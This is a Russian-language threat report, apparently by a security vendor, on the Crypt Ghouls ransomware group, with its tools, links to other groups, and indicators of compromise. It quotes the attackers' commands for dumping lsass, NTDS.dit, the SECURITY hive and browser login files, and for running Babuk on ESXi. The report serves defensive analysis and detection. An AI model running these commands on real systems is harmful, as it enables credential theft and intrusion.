В декабре 2023 года мы обнаружили ранее неизвестную группу, использующую шифровальщики в атаках на российские компании, в том числе государственные организации. Дальнейшее расследование активности этой группы указывает на ее взаимосвязь с другими активными на текущий момент группами, нацеленными на Россию. Мы наблюдаем пересечения не только в индикаторах компрометации и инструментарии, но и в тактиках, техниках и процедурах (TTP). Более того, в атаках частично совпадает инфраструктура.
В арсенале исследуемой группы имеются такие инструменты, как Mimikatz, XenAllPasswordPro, PingCastle, Localtonet, resocks, AnyDesk, PsExec и другие утилиты, а в качестве конечной нагрузки были использованы уже всем известные шифровальщики LockBit 3.0 и Babuk. Мы назвали группу Crypt Ghouls.
Доставка и закрепление
Определить вектор получения первоначального доступа нам удалось только в двух атаках группы. Злоумышленники использовали учетные данные подрядчика пострадавшей компании, чтобы подключиться через VPN к ее внутренней инфраструктуре. VPN-соединения были инициированы с IP-адресов, принадлежащих одному из российских хостинг-провайдеров, а также с IP-адресов, принадлежащих компании подрядчика. В последнее время получение атакующими первоначального доступа через подрядные организации не редкость. Мы предполагаем, что взлом подрядных организаций происходит также через VPN-сервисы либо через неисправленные уязвимости.
Для сохранения доступа к системе атакующие применяли утилиты NSSM и Localtonet: NSSM позволяет создавать службы на хосте и управлять ими, а Localtonet предоставляет зашифрованный туннель для подключения к хосту из внешней сети. Загружались эти утилиты напрямую с сайта localtonet.com:
1 2 |
hxxp://localtonet.com/nssm-2.24.zip hxxp://localtonet.com/download/localtonet-win-64.zip |
Сбор учетных данных
XenAllPasswordPro
Для сбора различных аутентификационных данных в атакуемой системе злоумышленники использовали утилиту XenAllPasswordPro:
1 2 3 4 5 |
cmd.exe /Q /c c:\programdata\allinone2023\XenAllPasswordPro.exe -a c:\programdata\report.html 1> \Windows\Temp\LNhkey 2>&1 cmd.exe /Q /c cmd /c rmdir /q /s c:\programdata\allinone2023 1> \Windows\Temp\HYirzI 2>&1 |
Эта утилита и путь к ней, \allinone2023\, стали знаковыми для исследуемой серии атак. Далее представлен список расположений XenAllPasswordPro, которые мы видели в различных инфраструктурах жертв:
- c:\programdata\allinone2023\xenallpasswordpro.exe
- c:\programdata\dbg\allinone2023\xenallpasswordpro.exe
- c:\programdata\1c\allinone2023\xenallpasswordpro.exe
- $user\desktop\allinone2023\xenallpasswordpro.exe
- c:\intel\xenallpasswordpro.exe
Родительским процессом вышеуказанных команд являлся процесс wmiprvse.exe. Кроме того, мы обнаружили характерный для набора Impacket артефакт в командной строке. Эти признаки указывают на использование модуля WmiExec.py из пакета Impacket:
1 |
C:\Windows\System32\wbem\wmiprvse.exe |
В одной из атак Crypt Ghouls мы также обнаружили вредоносный загрузчик бэкдора CobInt — это показательный инструмент, который позволил нам провести параллели с другими кампаниями. Загрузчик CobInt, который мы встретили, представляет собой VBS-скрипт Intellpui.vbs, выполняющий обфусцированный код PowerShell, который, в свою очередь, обращается к C2-серверу для загрузки бэкдора CobInt в память.
В ряде других случаев злоумышленники использовали протокол RDP вместо WMI:
1 2 |
c:\windows\system32\rdpclip.exe c:\programdata\1c\allinone2023\xenallpasswordpro.exe -a c:\programdata\1c\2c.txt |
Кроме того, в некоторых атаках мы наблюдали сохранение куста реестра HKLM\SECURITY во временную папку. В нем содержатся политики безопасности хоста и секреты LSA (Local Security Authority):
1 2 3 |
C:\Windows\System32\svchost.exe -k localService -p -s RemoteRegistry RegSaveKey("$hklm\security","$temp\kjzcehld.tmp") |
Mimikatz
Мы обнаружили использование утилиты Mimikatz в исследуемых атаках. В одном кейсе мы видели ее использование при помощи внедрения вредоносного кода утилиты в память процесса rundll32.exe.
В другом кейсе мы видели команду Mimikatz, которая создает дамп памяти процесса lsass.exe. В нем содержатся различные учетные данные аутентифицированных пользователей:
1 |
sekurlsa::minidump lsass.dmp |
Таким образом, при помощи Mimikatz атакующие получали учетные данные жертв.
dumper.ps1
Crypt Ghouls запускали скрипт PowerShell с открытым исходным кодом, который позволяет получить дампы билетов Kerberos из кэша LSA. Атакующие переименовали скрипт, чтобы замаскировать его под скрипт групповой политики:
1 |
.\gpo_compliance.ps1 |
MiniDump Tool
MiniDump Tool — утилита, которая разработана для снятия дампа памяти указанного процесса. С ее помощью Crypt Ghouls получали учетные данные из памяти процесса lsass.exe. Атакующие запускали этот процесс следующей командной строкой:
1 |
T.exe [lsass_pid] [lsass_pid] |
В качестве первого аргумента указывается идентификатор процесса (process identificator, PID). В качестве второго — имя файла и директория, куда будет сохранен дамп выбранного процесса.
MiniDump Tool создает драйвер по следующему пути:
1 |
C:\Users\[username]\AppData\Local\Temp\kxxxxxxx.sys |
Затем утилита запускает его и передает ему код управления для чтения памяти процесса, идентификатор которого указан в качестве первого аргумента, после чего сохраняет дамп в системе, в нашем случае — в файл в текущей директории под названием, соответствующим идентификатору процесса.
Учетные данные из браузеров
Crypt Ghouls также копировали файлы, содержащие учетные данные в браузерах, во временную директорию:
1 2 3 4 5 6 7 8 |
cmd.exe /Q /c copy "C:\Users\[username]\AppData\Local\Microsoft\Edge\User Data\Default\Login Data" "C:\Windows\Temp\1713909129.8364425" cmd.exe /Q /c copy "C:\Users\[username]\AppData\Local\Google\Chrome\User Data\Default\Login Data" "C:\Windows\Temp\1713909173.8739672" cmd.exe /Q /c copy "C:\Users\[username]\AppData\Local\Microsoft\Edge\User Data\Default\Login Data" "C:\Windows\Temp\1713909181.5850394" |
Команды на хостах выполнялись при помощи WMI.
После этого атакующие запрашивали список локальных пользователей, используя PowerShell:
1 2 3 |
c:\windows\system32\wbem\wmiprvse.exe > cmd.exe /Q /c powershell.exe "Get-LocalUser | Select name" 1> \Windows\Temp\qnLJbp 2>&1" |
Дамп NTDS.dit
Crypt Ghouls подключались к контроллеру домена через WMI при помощи имеющихся скомпрометированных учетных записей. Подключившись к домену, атакующие попытались сохранить дамп NTDS.dit. Чтобы получить его, они использовали одну из имеющихся задач в планировщике. Злоумышленники изменили действие задачи четыре раза: сначала получили дамп NTDS.dit с помощью утилиты Ntdsutil, затем заархивировали папку с дампом, после чего удалили ее. Последнее изменение задачи в планировщике возвращает ее исходное значение:
1 2 3 4 5 6 7 8 9 10 11 12 |
powershell.exe out-file -inputobject (ntdsutil.exe 'ac i ntds' 'ifm' 'create full c:\programdata\activedirectory' q q) -encoding utf8 - filepath c:\programdata\microsoft\vault\dabbf27c-37ef-9946-a3d3- 7aaaebce7577 powershell.exe out-file -inputobject (7zr.exe a c:\programdata\ad.7z c:\programdata\activedirectory) -encoding utf8 -filepath c:\programdata\microsoft\vault\4c6b60eb-eafe-ab9b-adfa-ed24b2398e0c powershell.exe out-file -inputobject (cmd /c rmdir /q /s c:\programdata\activedirectory) - encoding utf8 -filepath c:\programdata\microsoft\vault\a5ad25f1-f569-6247-0722- ad6fe54e350f |
Утилита 7-Zip также была загружена с GitHub:
1 |
https://github.com/ip7z/7zip/releases/download/23.01/7zr.exe |
Однако после архивации мы не обнаружили дальнейшей эксфильтрации данных.
Исследование сети и распространение
Crypt Ghouls использовали утилиту PingCastle (MD5: F4A84D6F1CAF0875B50135423D04139F) для сбора информации об инфраструктуре домена, в котором они находились. Также атакующие периодически сканировали сеть с помощью легитимной утилиты SoftPerfect Network Scanner для определения открытых портов и общих сетевых ресурсов.
Для перемещения по сети, как мы уже видели выше, атакующие использовали модуль Impacket WmiExec.py.
У двух жертв мы также обнаружили использование PAExec — утилиты для удаленного выполнения команд:
1 2 |
c:\windows\paexec-[xxxxx]-[source_host_redacted].exe -service cmd |
Инфраструктура
Группа Crypt Ghouls использует несколько утилит для удаленного доступа. В данных наших исследований особенно часто встречался инструмент AnyDesk, но злоумышленники им не ограничились. В таблице ниже представлены имена утилит и директории, в которых они были замечены:
Наименование | Директория |
AnyDesk | C:\Users\[redacted]\Downloads\AnyDesk.exe |
Localtonet | C:\Windows\Temp\localtonet.exe |
resocks | /usr/sbin/xfs-modules |
IP-адреса для удаленных подключений AnyDesk и Localtonet принадлежали VPN-подсети Surfshark.
Resocks — это обратный SOCKS5-прокси для туннелирования трафика. В процессе исследования активности этой группы мы нашли образец прокси, для которого в качестве адреса подключения был задан IP-адрес 91.142.73[.]178, принадлежащий подсети хостинг-провайдера VDSina.
Ниже представлены примечательные параметры образца resocks, которые предоставляют дополнительный контекст для исследования:
1 2 |
-X main.defaultConnectBackAddress=91.142.73[.]178 -X main.defaultConnectionKey=CzKDvHM8UGE/QtjuF2SSkJzaVmRpjNipdWlbTzFry6o |
DLL sideloading
Злоумышленники использовали технику DLL sideloading, поместив легитимное приложение для управления инсталляторами Windows dism.exe и вредоносный загрузчик dismcore.dll в одну папку: c:\ProgramData\oracle\.
Загрузчик dismcore.dll пытался найти файл odbcconf.xml, который содержал полезную нагрузку, однако нам не удалось получить этот файл.
Шифрование файлов
Атакующие шифровали данные с помощью популярных зловредов LockBit 3.0 (для систем Windows) и Babuk (для Linux), находящихся в открытом доступе. В конфигурации исследованного нами образца LockBit содержались команды для шифрования локальных дисков, завершения работы определенных процессов и сервисов, отключения Windows Defender, а также удаления журналов событий. В исключения по шифрованию были добавлены системные директории, а также папка intel, в которую загружались инструменты злоумышленников для сбора учетных данных.
Наше внимание привлекла необычная схема шифрования файлов жертвы. Сначала шифруются файлы с конкретными расширениями, заданными в конфигурации образца LockBit, которые могут представлять интерес для злоумышленников. Однако, помимо них, зловред шифрует файлы в корзине, добавляя в их содержимое сгенерированные случайным образом символы. В дополнение к этому алгоритму мы обнаружили цикл, который меняет имя оригинального файла из корзины итеративно через весь латинский алфавит, пока не дойдет до последней буквы. Подобный метод шифрования значительно затрудняет восстановление пользовательских файлов, а в некоторых случаях делает его невозможным.
Пример отображения в логах:
1 2 3 4 5 6 7 8 |
File Renamed c:\$recycle.bin\[redacted]\desktop.ini c:\$recycle.bin\[redacted]\aaaaaaaaaaa File Renamed c:\$recycle.bin\[redacted]\aaaaaaaaaaa c:\$recycle.bin\[redacted]\bbbbbbbbbbb File Renamed c:\$recycle.bin\[redacted]\bbbbbbbbbbb c:\$recycle.bin\[redacted]\ccccccccccc File Renamed c:\$recycle.bin\[redacted]\ccccccccccc c:\$recycle.bin\[redacted]\ddddddddddd |
После чего алгоритм пытается удалить последний вариант файла
c:\$recycle.bin\[redacted]\zzzzzzzzzzz.
В записке атакующие указывают ссылку с идентификатором пользователя в мессенджере Session для дальнейших коммуникаций:
Этот мессенджер поддерживает сквозное шифрование, что минимизирует риски утечки конфиденциальных данных. Создатели сервиса заявляют, что Session разработан для обеспечения абсолютной приватности переписки. Этот мессенджер также использовали в своих атаках группы шифровальщиков GhostLocker, SEXi и MorLock.
Также злоумышленники атаковали ESXi-серверы при помощи шифровальщика Babuk. Они подключались к серверу ESXi по протоколу SSH, загружали на него Babuk и запускали шифрование файлов виртуальных машин:
1 |
/tmp/lock.out "/vmfs/volumes/[redacted]" |
Мы полагаем, что целью злоумышленников являлось нарушение бизнес-процессов атакуемых организаций, помимо требования выкупа.
Связи с другими группами
Мы наблюдаем большое количество пересечений в инструментарии и техниках групп вредоносной активности, нацеленных на российские организации и государственные учреждения. Далее мы опишем основные сходства, которые были обнаружены во время изучения атак различных групп.
MorLock
Активность группы MorLock, исследованная экспертами из F.A.C.C.T., имеет множество пересечений с несколькими атаками, которые мы проанализировали в этом отчете. Большая часть используемых этими группами инструментов совпадает: SoftPerfect Network Scanner, XenAllPasswordPro, AnyDesk, PingCastle, Localtonet, NSSM, resocks, LockBit 3.0, Babuk.
Имена файлов и директории, встречавшиеся в атаках этих двух групп, также имеют сходство. Например, мы обнаружили утилиту resocks с именем xfs-healthcheck, и в списке индикаторов, опубликованных F.A.C.C.T., имена resocks имеют такой же шаблон: [xxx]-healthcheck. Аналогичное совпадение мы заметили при исследовании утилиты XenAllPasswordPro: в атаках группы MorLock она находилась в той же директории allinone2023.
Кроме того, мы проверили инфраструктуру группы MorLock по данным F.A.C.C.T. и обнаружили, что эти злоумышленники тоже использовали Surfshark VPN и хостинг VDSina.
BlackJack
При исследовании утилит, которые использовались в атаках Crypt Ghouls, мы обнаружили пересечение с инструментарием группы BlackJack: они тоже использовали XenAllPasswordPro. Это привлекло наше внимание, поскольку эта утилита не очень широко распространена среди злоумышленников, хоть и находится в открытом доступе.
Twelve
Утилита XenAllPasswordPro была замечена и в атаках группы Twelve. Кроме того, у одной из жертв Crypt Ghouls мы обнаружили загрузчик бэкдора CobInt — Intellpui.vbs, также использовавшийся группой Twelve.
Shedding Zmiy
Shedding Zmiy — это группа, относящаяся к кластеру активности (Ex)Cobalt. В отчете Solar 4RAYS по исследованным инцидентам с участием группы мы нашли еще одно пересечение, а именно использование DLL sideloading с вредоносным загрузчиком dismcore.dll. Также были упомянуты уже известные нам утилиты и вредоносное ПО: resocks, SoftPerfect Network Scanner, CobInt. Кроме того, группа Shedding Zmiy использовала хостинг VDSina для размещения командных серверов своей инфраструктуры.
Сходство между описанными группами позволяет сделать вывод о том, что активность этих атак пересекается с активностью Crypt Ghouls. Мы изучили используемые злоумышленниками техники и вредоносное ПО и предполагаем, что различные группы имеют доступ к общим ресурсам или поддерживают связь, обмениваясь информацией. В исследованиях других вендоров отмечается участие членов кластера (Ex)Cobalt в активности упомянутых групп, и подобные предположения подтверждаются результатами нашего анализа. На текущий момент мы не можем установить однозначную связь между этими кампаниями, однако мы предполагаем, что их количество будет расти, и продолжим мониторить активность, нацеленную на российские организации.
Жертвы
Жертвами группы Crypt Ghouls стали российские госучреждения и компании в следующих отраслях: горнодобывающая, энергетическая, финансовая, коммерческая.
Заключение
Crypt Ghouls — это еще одна группа, атакующая Россию. Злоумышленники используют скомпрометированные учетные записи, зачастую подрядных организаций, и популярные инструменты с открытым исходным кодом: среди прочего модифицированные конфигурации шифровальщиков LockBit 3.0 и Babuk, билдер и исходный код которых есть в открытом доступе. Поскольку количество злоумышленников, использующих утекшие сборки, растет, идентифицировать виновников угроз становится все сложнее. Использование одних и тех же инструментов в атаках на Россию затрудняет точное разделение активных на текущий момент хактивистских группировок. В атаках Crypt Ghouls мы обнаружили элементы инфраструктуры и целый ряд популярных инструментов, которые также используются многими другими группами, — это может говорить о том, что текущие действующие лица делятся не только знаниями, но и инструментарием. Все это только затрудняет выделение злоумышленников из общей массы вредоносной активности, направленной на российские организации.
Индикаторы компрометации
Обратите внимание: сетевые адреса, приведенные в настоящем разделе, являются действительными на момент публикации, однако могут оказаться неактуальными в перспективе.
SHA256:
Пути к файлам:
С:\ProgramData\oracle\dismcore.dll
odbcconf.xml — payload
C:\Users\User\Downloads\dumper.ps1 — dumper.ps1
C:\Users\User\Desktop\x86\x64\mimikatz.exe
C:\programdata\1c\allinone2023\xenallpasswordpro.exe
С:\programdata\allinone2023\xenallpasswordpro.exe
С:\programdata\dbg\allinone2023\xenallpasswordpro.exe
С:\programdata\1c\allinone2023\xenallpasswordpro.exe
$user\desktop\allinone2023\xenallpasswordpro.exe
C:\programdata\allinone2023\XenAllPasswordPro.exe
C:\Windows\Temp\nssm-2.24\win64\nssm.exe
C:\Users\[redacted]\Downloads\AnyDesk.exe
C:\Windows\Temp\localtonet.exe
C:\ProgramData\t.exe (MiniDump Tool)
C:\Users\User\AppData\Local\Temp\kxxxxxxx.sys
C:\Windows\Temp\kxxxxxxx.sys
/tmp/lock.out (Babuk)
/usr/sbin/xfs-healthcheck (resocks)
/usr/sbin/xfs-modules (resocks)
c:\programdata\intell\intellpui.vbs (CobInt)
IP-адреса и URL:
45.11.181[.]152 — netstaticpoints[.]com — CobInt C2
169.150.197[.]10 — SurfShark VPN
169.150.197[.]18 — SurfShark VPN
91.142.73[.]178 — VDSINA-NET
91.142.74[.]87 — VDSINA-NET
95.142.47[.]157 — VDSINA-NET
185.231.155[.]124 — VDSINA-NET
Утилиты:
XenAllPasswordPro
PsExec
PAExec
SoftPerfect Network Scanner
Localtonet
PingCastle
Mimikatz
AnyDesk
NSSM
resocks
Анализ группы Crypt Ghouls: продолжаем исследовать серию атак на Россию